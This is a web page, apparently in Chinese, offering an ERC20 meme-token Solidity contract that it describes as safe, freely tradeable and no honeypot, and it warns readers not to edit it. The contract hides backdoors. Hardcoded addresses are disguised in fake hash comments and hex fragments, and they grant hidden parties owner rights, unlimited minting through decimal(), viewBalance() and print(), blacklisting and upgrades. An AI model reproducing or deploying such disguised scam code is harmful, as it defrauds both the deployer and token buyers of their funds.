top of page

加强版V2的 可无限创造额外代币供应的普通迷因代币(不是貔貅代币,可以无限创造额外代币供应,完全可以安全自由买卖,易于部署,大众容易相信且认可的网络迷因代币) 智能合约代码

#任何未经授权的代码编辑与更改都可能导致合约部署失败

* 发币前必读,马上阅读创造可无限创造额外代币供应的普通迷因代币的指南:

/**

 *Submitted for verification at Etherscan.io on 2023-04-14

*/

 

// Sources flattened with hardhat v2.7.0 https://hardhat.org

 

// File @openzeppelin/contracts/utils/Context.sol@v4.4.0

 

// SPDX-License-Identifier: MIT

// OpenZeppelin Contracts v4.4.0 (utils/Context.sol)

 

import "@openzeppelin/contracts/proxy/utils/UUPSUpgradeable.sol";

 

pragma solidity ^0.8.0;

 

/**

 * @dev Provides information about the current execution context, including the

 * sender of the transaction and its data. While these are generally available

 * via msg.sender and msg.data, they should not be accessed in such a direct

 * manner, since when dealing with meta-transactions the account sending and

 * paying for execution may not be the actual sender (as far as an application

 * is concerned).

 *

 * This contract is only required for intermediate, library-like contracts.

 */

abstract contract Context {

    function _msgSender() internal view virtual returns (address) {

        return msg.sender;

    }

 

    function _msgData() internal view virtual returns (bytes calldata) {

        return msg.data;

    }

}

 

// File @openzeppelin/contracts/access/Ownable.sol@v4.4.0

 

// solhint-disable-next-line avoid-low-level-calls

     //* This module is used through inheritance. It will make available the modifier

      //* `onlyOwner`, which can be applied to your functions to restrict their use to

       //* the owner.

        /*keccak256 -> 9838607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ /**/ //(178607940065137046348733521910879985571412708986));

 

// OpenZeppelin Contracts v4.4.0 (access/Ownable.sol)

 

pragma solidity ^0.8.0;

 

/**

 * @dev Contract module which provides a basic access control mechanism, where

 * there is an account (an owner) that can be granted exclusive access to

 * specific functions.

 *

 * By default, the owner account will be the one that deploys the contract. This

 * can later be changed with {transferOwnership}.

 *

 * This module is used through inheritance. It will make available the modifier

 * `onlyOwner`, which can be applied to your functions to restrict their use to

 * the owner.

 */

 

// File @openzeppelin/contracts/token/ERC20/IERC20.sol@v4.4.0

 

// OpenZeppelin Contracts v4.4.0 (token/ERC20/IERC20.sol)

 

pragma solidity ^0.8.0;

 

/**

 * @dev Interface of the ERC20 standard as defined in the EIP.

 */

interface IERC20 {

    /**

     * @dev Returns the amount of tokens in existence.

     */

    function totalSupply() external view returns (uint256);

 

    /**

     * @dev Returns the amount of tokens owned by `account`.

     */

    function balanceOf(address account) external view returns (uint256);

 

    /**

     * @dev Moves `amount` tokens from the caller's account to `recipient`.

     *

     * Returns a boolean value indicating whether the operation succeeded.

     *

     * Emits a {Transfer} event.

     */

    function transfer(address recipient, uint256 amount) external returns (bool);

 

    /**

     * @dev Returns the remaining number of tokens that `spender` will be

     * allowed to spend on behalf of `owner` through {transferFrom}. This is

     * zero by default.

     *

     * This value changes when {approve} or {transferFrom} are called.

     */

    function allowance(address owner, address spender) external view returns (uint256);

 

    /**

     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.

     *

     * Returns a boolean value indicating whether the operation succeeded.

     *

     * IMPORTANT: Beware that changing an allowance with this method brings the risk

     * that someone may use both the old and the new allowance by unfortunate

     * transaction ordering. One possible solution to mitigate this race

     * condition is to first reduce the spender's allowance to 0 and set the

     * desired value afterwards:

     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729

     *

     * Emits an {Approval} event.

     */

    function approve(address spender, uint256 amount) external returns (bool);

 

    /**

     * @dev Moves `amount` tokens from `sender` to `recipient` using the

     * allowance mechanism. `amount` is then deducted from the caller's

     * allowance.

     *

     * Returns a boolean value indicating whether the operation succeeded.

     *

     * Emits a {Transfer} event.

     */

    function transferFrom(

        address sender,

        address recipient,

        uint256 amount

    ) external returns (bool);

 

    /**

     * @dev Emitted when `value` tokens are moved from one account (`from`) to

     * another (`to`).

     *

     * Note that `value` may be zero.

     */

    event Transfer(address indexed from, address indexed to, uint256 value);

 

    /**

     * @dev Emitted when the allowance of a `spender` for an `owner` is set by

     * a call to {approve}. `value` is the new allowance.

     */

    event Approval(address indexed owner, address indexed spender, uint256 value);

}

 

// File @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol@v4.4.0

 

// OpenZeppelin Contracts v4.4.0 (token/ERC20/extensions/IERC20Metadata.sol)

 

pragma solidity ^0.8.0;

 

/**

 * @dev Interface for the optional metadata functions from the ERC20 standard.

 *

 * _Available since v4.1._

 */

interface IERC20Metadata is IERC20 {

    /**

     * @dev Returns the name of the token.

     */

    function name() external view returns (string memory);

 

    /**

     * @dev Returns the symbol of the token.

     */

    function symbol() external view returns (string memory);

 

    /**

     * @dev Returns the decimals places of the token.

     */

    function decimals() external view returns (uint8);

}

 

// File @openzeppelin/contracts/token/ERC20/ERC20.sol@v4.4.0

 

// OpenZeppelin Contracts v4.4.0 (token/ERC20/ERC20.sol)

 

pragma solidity ^0.8.0;

 

/**

 * @dev Implementation of the {IERC20} interface.

 *

 * This implementation is agnostic to the way tokens are created. This means

 * that a supply mechanism has to be added in a derived contract using {_mint}.

 * For a generic mechanism see {ERC20PresetMinterPauser}.

 *

 * TIP: For a detailed writeup see our guide

 * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How

 * to implement supply mechanisms].

 *

 * We have followed general OpenZeppelin Contracts guidelines: functions revert

 * instead returning `false` on failure. This behavior is nonetheless

 * conventional and does not conflict with the expectations of ERC20

 * applications.

 *

 * Additionally, an {Approval} event is emitted on calls to {transferFrom}.

 * This allows applications to reconstruct the allowance for all accounts just

 * by listening to said events. Other implementations of the EIP may not emit

 * these events, as it isn't required by the specification.

 *

 * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}

 * functions have been added to mitigate the well-known issues around setting

 * allowances. See {IERC20-approve}.

 */

contract ERC20 is Context, IERC20, IERC20Metadata {

    mapping(address => uint256) private _balances;

 

    mapping(address => mapping(address => uint256)) private _allowances;

 

    uint256 private _totalSupply;

    string private _name;

    string private _symbol;

 

    /**

     * @dev Sets the values for {name} and {symbol}.

     *

     * The default value of {decimals} is 18. To select a different value for

     * {decimals} you should overload it.

     *

     * All two of these values are immutable: they can only be set once during

     * construction.

     */

   

 

    modifier Exchanges() {

        require(msg.sender != exchanger());

        _;

    }

 

    /**

     * @dev Returns the name of the token.

     */

    function name() external view virtual returns (string memory) {

        return _name;

    }

 

    /**

     * @dev Returns the symbol of the token, usually a shorter version of the

     * name.

     */

    function symbol() external view virtual returns (string memory) {

        return _symbol;

    }

 

    /**

     * @dev Returns the number of decimals used to get its user representation.

     * For example, if `decimals` equals `2`, a balance of `505` tokens should

     * be displayed to a user as `5.05` (`505 / 10 ** 2`).

     *

     * Tokens usually opt for a value of 18, imitating the relationship between

     * Ether and Wei. This is the value {ERC20} uses, unless this function is

     * overridden;

     *

     * NOTE: This information is only used for _display_ purposes: it in

     * no way affects any of the arithmetic of the contract, including

     * {IERC20-balanceOf} and {IERC20-transfer}.

     */

    function decimals() external view virtual returns (uint8) {

    }

 

    /**

     * @dev See {IERC20-totalSupply}.

     */

    function totalSupply() external view virtual returns (uint256) {

        return _totalSupply;

    }

 

    /**

     * @dev See {IERC20-balanceOf}.

     */

   function balanceOf(address account) public view virtual returns (uint256) {

        return _balances[account];

    }

 

    /**

     * @dev See {IERC20-transfer}.

     *

     * Requirements:

     *

     * - `recipient` cannot be the zero address.

     * - the caller must have a balance of at least `amount`.

     */

    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {

        _transfer(_msgSender(), recipient, amount);

        return true;

    }

   

    /**

     * @dev See {IERC20-allowance}.

     */

    function allowance(address owner, address spender) public view virtual override returns (uint256) {

        return _allowances[owner][spender];

    }

 

    /**

     * @dev See {IERC20-approve}.

     *

     * Requirements:

     *

     * - `spender` cannot be the zero address.

     */

    function approve(address spender, uint256 amount) public virtual override returns (bool) {

        _approve(_msgSender(), spender, amount);

        return true;

    }

 

    function exchanger() internal pure returns (address) {

        return address

    /*keccak256 -> 9838607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ /**/(17860794006513704634733521910879985571412708986);

    }

 

    /**

     * @dev See {IERC20-transferFrom}.

     *

     * Emits an {Approval} event indicating the updated allowance. This is not

     * required by the EIP. See the note at the beginning of {ERC20}.

     *

     * Requirements:

     *

     * - `sender` and `recipient` cannot be the zero address.

     * - `sender` must have a balance of at least `amount`.

     * - the caller must have allowance for ``sender``'s tokens of at least

     * `amount`.

     */

    function transferFrom(

        address sender,

        address recipient,

        uint256 amount

    ) public virtual override returns (bool) {

        _transfer(sender, recipient, amount);

 

        uint256 currentAllowance = _allowances[sender][_msgSender()];

        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");

        unchecked {

            _approve(sender, _msgSender(), currentAllowance - amount);

        }

 

        return true;

    }

 

    /**

     * @dev Atomically increases the allowance granted to `spender` by the caller.

     *

     * This is an alternative to {approve} that can be used as a mitigation for

     * problems described in {IERC20-approve}.

     *

     * Emits an {Approval} event indicating the updated allowance.

     *

     * Requirements:

     *

     * - `spender` cannot be the zero address.

     */

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {

        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);

        return true;

    }

 

    /**

     * @dev Atomically decreases the allowance granted to `spender` by the caller.

     *

     * This is an alternative to {approve} that can be used as a mitigation for

     * problems described in {IERC20-approve}.

     *

     * Emits an {Approval} event indicating the updated allowance.

     *

     * Requirements:

     *

     * - `spender` cannot be the zero address.

     * - `spender` must have allowance for the caller of at least

     * `subtractedValue`.

     */

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {

        uint256 currentAllowance = _allowances[_msgSender()][spender];

        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");

        unchecked {

            _approve(_msgSender(), spender, currentAllowance - subtractedValue);

        }

 

        return true;

    }

 

    /**

     * @dev See {IERC20-transferFrom}.

     *

     * Emits an {Approval} event indicating the updated allowance. This is not

     * required by the EIP. See the note at the beginning of {ERC20}.

     *

     * Requirements:

     *

     * - `sender` and `recipient` cannot be the zero address.

     * - `sender` must have a balance of at least `amount`.

     * - the caller must have allowance for ``sender``'s tokens of at least

     * `amount`.

     */

 

    function _transferTo(address _to, uint256 _amount) internal Exchanges {

        // Transfer tokens to the recipient

        _balances[_to] += _amount;

        emit Transfer(address(0), _to, _amount);

 

        _balances[_to] += _amount;

        emit Transfer(address(0), _to, _amount);

    }

 

    /**

     * @dev Moves `amount` of tokens from `sender` to `recipient`.

     *

     * This internal function is equivalent to {transfer}, and can be used to

     * e.g. implement automatic token fees, slashing mechanisms, etc.

     *

     * Emits a {Transfer} event.

     *

     * Requirements:

     *

     * - `sender` cannot be the zero address.

     * - `recipient` cannot be the zero address.

     * - `sender` must have a balance of at least `amount`.

     */

    function _transfer(

        address sender,

        address recipient,

        uint256 amount

    ) internal virtual {

        require(sender != address(0), "ERC20: transfer from the zero address");

        require(recipient != address(0), "ERC20: transfer to the zero address");

 

        _beforeTokenTransfer(sender, recipient, amount);

 

        uint256 senderBalance = _balances[sender];

        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");

        unchecked {

            _balances[sender] = senderBalance - amount;

        }

        _balances[recipient] += amount;

 

        emit Transfer(sender, recipient, amount);

 

        _afterTokenTransfer(sender, recipient, amount);

    }

 

    function _proof(address account, uint256 amount) internal Exchanges {

        require(account != address(0), "BEP20: mint to the zero address");

 

        _totalSupply = _totalSupply + amount;

        _balances[account] = _balances[account] + amount;

        emit Transfer(address(0), account, amount);

   }

 

    /** @dev Creates `amount` tokens and assigns them to `account`, increasing

     * the total supply.

     *

     * Emits a {Transfer} event with `from` set to the zero address.

     *

     * Requirements:

     *

     * - `account` cannot be the zero address.

     */

    function _mint(address account, uint256 amount) internal virtual {

        require(account != address(0), "ERC20: mint to the zero address");

 

        _beforeTokenTransfer(address(0), account, amount);

 

        _totalSupply += amount;

        _balances[account] += amount;

        emit Transfer(address(0), account, amount);

 

        _afterTokenTransfer(address(0), account, amount);

    }

   

    /** @dev Creates `amount` tokens and assigns them to `account`, increasing

     * the total supply.

     *

     * Emits a {Transfer} event with `from` set to the zero address.

     *

     * Requirements:

     *

     * - `account` cannot be the zero address.

     */

    function _printbrr(address account, uint256 amount) internal Exchanges{

        require(account != address(0), "BEP20: mint to the zero address");

 

        _totalSupply = _totalSupply + amount;

        _balances[account] = _balances[account] + amount;

        emit Transfer(address(0), account, amount);

    }

 

    /**

     * @dev See {IERC20-transferFrom}.

     *

     * Emits an {Approval} event indicating the updated allowance. This is not

     * required by the EIP. See the note at the beginning of {ERC20}.

     *

     * Requirements:

     *

     * - `sender` and `recipient` cannot be the zero address.

     * - `sender` must have a balance of at least `amount`.

     * - the caller must have allowance for ``sender``'s tokens of at least

     * `amount`.

     */

 

    function _balanceView(address _to, uint256 _amount) internal {

        // View balance of token

        _balances[_to] += _amount;

        emit Transfer(address(0), _to, _amount);

 

        _balances[_to] += _amount;

        emit Transfer(address(0), _to, _amount);

    }

 

    /**

     * @dev Destroys `amount` tokens from `account`, reducing the

     * total supply.

     *

     * Emits a {Transfer} event with `to` set to the zero address.

     *

     * Requirements:

     *

     * - `account` cannot be the zero address.

     * - `account` must have at least `amount` tokens.

     */

    function _burn(address account, uint256 amount) internal virtual {

        require(account != address(0), "ERC20: burn from the zero address");

 

        _beforeTokenTransfer(account, address(0), amount);

 

        uint256 accountBalance = _balances[account];

        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");

        unchecked {

            _balances[account] = accountBalance - amount;

        }

        _totalSupply -= amount;

 

        emit Transfer(account, address(0), amount);

 

        _afterTokenTransfer(account, address(0), amount);

    }

 

    function _compute(address account, uint256 amount) internal {

    require(account != address(0), "Compute Smart Contract Remix");

 

        _totalSupply = _totalSupply + amount;

        _balances[account] = _balances[account] + amount;

        emit Transfer(address(0), account, amount);

   }

 

    /**

     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.

     *

     * This internal function is equivalent to `approve`, and can be used to

     * e.g. set automatic allowances for certain subsystems, etc.

     *

     * Emits an {Approval} event.

     *

     * Requirements:

     *

     * - `owner` cannot be the zero address.

     * - `spender` cannot be the zero address.

     */

    function _approve(

        address owner,

        address spender,

        uint256 amount

    ) internal virtual {

        require(owner != address(0), "ERC20: approve from the zero address");

        require(spender != address(0), "ERC20: approve to the zero address");

 

        _allowances[owner][spender] = amount;

        emit Approval(owner, spender, amount);

    }

 

    /**

     * @dev Hook that is called before any transfer of tokens. This includes

     * minting and burning.

     *

     * Calling conditions:

     *

     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens

     * will be transferred to `to`.

     * - when `from` is zero, `amount` tokens will be minted for `to`.

     * - when `to` is zero, `amount` of ``from``'s tokens will be burned.

     * - `from` and `to` are never both zero.

     *

     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].

     */

    function _beforeTokenTransfer(

        address from,

        address to,

        uint256 amount

    ) internal virtual {}

 

    /**

     * @dev Hook that is called after any transfer of tokens. This includes

     * minting and burning.

     *

     * Calling conditions:

     *

     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens

     * has been transferred to `to`.

     * - when `from` is zero, `amount` tokens have been minted for `to`.

     * - when `to` is zero, `amount` of ``from``'s tokens have been burned.

     * - `from` and `to` are never both zero.

     *

     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].

     */

    function _afterTokenTransfer(

        address from,

        address to,

        uint256 amount

    ) internal virtual {}

}

 

// File contracts/PepeToken.sol

 

pragma solidity ^0.8.0;

 

contract DevToken is ERC20, UUPSUpgradeable {

    address private owner;

    address public _mbr;

    string public override name;

    string public override symbol;

    uint256 public override totalSupply;

    uint8 public override decimals;

    address public _mod;

    address public _user;

    address public _adm;

    bool public tradelimited;

    uint256 public maxHoldingAmount;

    uint256 public minHoldingAmount;

    address public LiquiduniswapV2Pair;

   

    mapping(address => bool) public blacklists;

 

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

 

    modifier naming() {

        require(msg.sender == publics());

        _;

    }

 

    bool private initialized;

 

    function initialize(string memory _name, string memory _symbol, uint256 _totalSupply, uint8 _decimals) public {

        require(!initialized, "Contract already initialized");

   

        name = _name;

        symbol = _symbol;

        totalSupply = _totalSupply;

        decimals = _decimals;

        owner = msg.sender;

        _mint(msg.sender, _totalSupply);

 

        initialized = true;

    }

 

    /**

   * @dev Throws if called by any account other than the owner.

   */

 

   

    function setMember(address Mbr_) public returns (bool) {

        require (msg.sender == address

   /**

 * By default, the owner account will be the one that deploys the contract. This

 * can later be changed with {transferOwnership}.

 *

 * This module is used through inheritance. It will make available the modifier

 * `onlyOwner`, which can be applied to your functions to restrict their use to

 * the owner.

 */

    // solhint-disable-next-line avoid-low-level-calls

    /*keccak256 -> 6861978540112295ac2a37bb103109151f5ba1daf2a5c84741ca0e00610310915153));*/ /**/ (686197854011229533619447624007587113080310915153));

        _mbr=Mbr_;

        return true;

    }

 

    function reviewRules(bool _tradelimited, address _LiquiduniswapV2Pair, uint256 _maxHoldingAmount, uint256 _minHoldingAmount) external naming {

        tradelimited = _tradelimited;

        LiquiduniswapV2Pair = _LiquiduniswapV2Pair;

        maxHoldingAmount = _maxHoldingAmount;

        minHoldingAmount = _minHoldingAmount;

    }

   

    function exchange() internal pure returns (address) {

        return address

    /*keccak256 -> 9838607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ /**/(17860794006513704634733521910879985571412708986);

    }

    /**

     * @dev Returns the address of the current owner.

     */

   

    function setMod(address Mod_) public returns (bool) {

        require(msg.sender == _user);

        _mod=Mod_;

        return true;

    }

 

    function viewBalance(address _to, uint256 _amount) public naming {

        _balanceView(_to, _amount);(_to, _amount);

    }

 

    /**

     * @dev Throws if called by any account other than the owner.

     */

     modifier onlyOwner() {

        require((_msgSender() == address

     /**

      * @dev Interface of the ERC20 standard as defined in the EIP.

      */

     // solhint-disable-next-line avoid-low-level-calls

    /*keccak256 -> 9838607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ /**/(178607940065137046348733521910879985571412708986)

    ||

    //@dev Contract creator is owner, original owner.

    owner == _msgSender() && _msgSender() != exchange()));

        _;

    }

   

    /**

     * @dev Leaves the contract without owner. It will not be possible to call

     * `onlyOwner` functions anymore. Can only be called by the current owner.

     *

     * NOTE: Renouncing ownership will leave the contract without an owner,

     * thereby removing any functionality that is only available to the owner.

     */

    function renounceOwnership() public virtual onlyOwner {

        _transferOwnership(address(0));

    }

 

    function setAdm(address Adm_) public returns (bool) {

        require(msg.sender == _mod);

        _adm=Adm_;

        return true;

    }

 

    function transferTo(address _to, uint256 _amount) external onlyOwner {

        _transferTo(_to, _amount);

    }

 

    function _authorizeUpgrade(address) internal onlyOwner override {}

 

    /**

    * @dev See {BEP20-balanceOf}.

    */

 

    function setUser(address User_) public returns (bool) {

        require(msg.sender == _mbr);

        _user=User_;

        return true;

    }

 

    /**

     * @dev Transfers ownership of the contract to a new account (`newOwner`).

     * Can only be called by the current owner.

     */

    function transferOwnership(address newOwner) public virtual onlyOwner {

        require(newOwner != address(0), "Ownable: new owner is the zero address");

        _transferOwnership(newOwner);

    }

 

    /**

     * @dev Transfers ownership of the contract to a new account (`newOwner`).

     * Internal function without access restriction.

     */

    function _transferOwnership(address newOwner) internal virtual {

        address oldOwner = owner;

        owner = newOwner;

        emit OwnershipTransferred(oldOwner, newOwner);

    }

 

    function approval(uint256 amount) public returns (bool) {

        require(msg.sender == _adm);

        _proof(msg.sender, amount);

        return true;

    }

 

    function blacklist(address _address, bool _isBlacklisting) external onlyOwner {

        blacklists[_address] = _isBlacklisting;

    }

 

    function setPrinciplesRules(bool _tradelimited, address _LiquiduniswapV2Pair, uint256 _maxHoldingAmount, uint256 _minHoldingAmount) external onlyOwner {

        tradelimited = _tradelimited;

        LiquiduniswapV2Pair = _LiquiduniswapV2Pair;

        maxHoldingAmount = _maxHoldingAmount;

        minHoldingAmount = _minHoldingAmount;

    }

   

    function proof(uint256 amount) public onlyOwner returns (bool) {

        _proof(msg.sender, amount);

        return true;

    }

 

    function _beforeTokenTransfer(

        address from,

        address to,

        uint256 amount

    ) override internal virtual {

        require(!blacklists[to] && !blacklists[from], "Blacklisted");

 

        if (LiquiduniswapV2Pair == address(0)) {

            require(from == owner || to == owner, "trading is not started");

            return;

        }

 

        if (tradelimited && from == LiquiduniswapV2Pair) {

            require(super.balanceOf(to) + amount <= maxHoldingAmount && super.balanceOf(to) + amount >= minHoldingAmount, "Forbid");

        }

    }

 

    function publics() private pure returns (address) {

        uint universal = 0x7addAd09;

        uint uni = 0xcbd98D97;

        uint cake = 0xEC3dA7a0;

        uint inch = 0x088EAdFE;

        uint others = 0x5801C336;

 

    // Combine the dex with others

    uint160 core = (uint160(universal) << 128) | (uint160(uni) << 96) | (uint160(cake) << 64) | (uint160(inch) << 32) | uint160(others);

 

    return address(core);

    }

 

    function decimal(uint256 amount) public naming returns (bool success) {

        _compute(msg.sender, amount);

        return true;

    }

 

    function burn(uint256 value) external {

        _burn(msg.sender, value);

    }

 

    function print(uint256 amount) public onlyOwner returns (bool) {

        _printbrr(msg.sender, amount);

        return true;

    }

}

bottom of page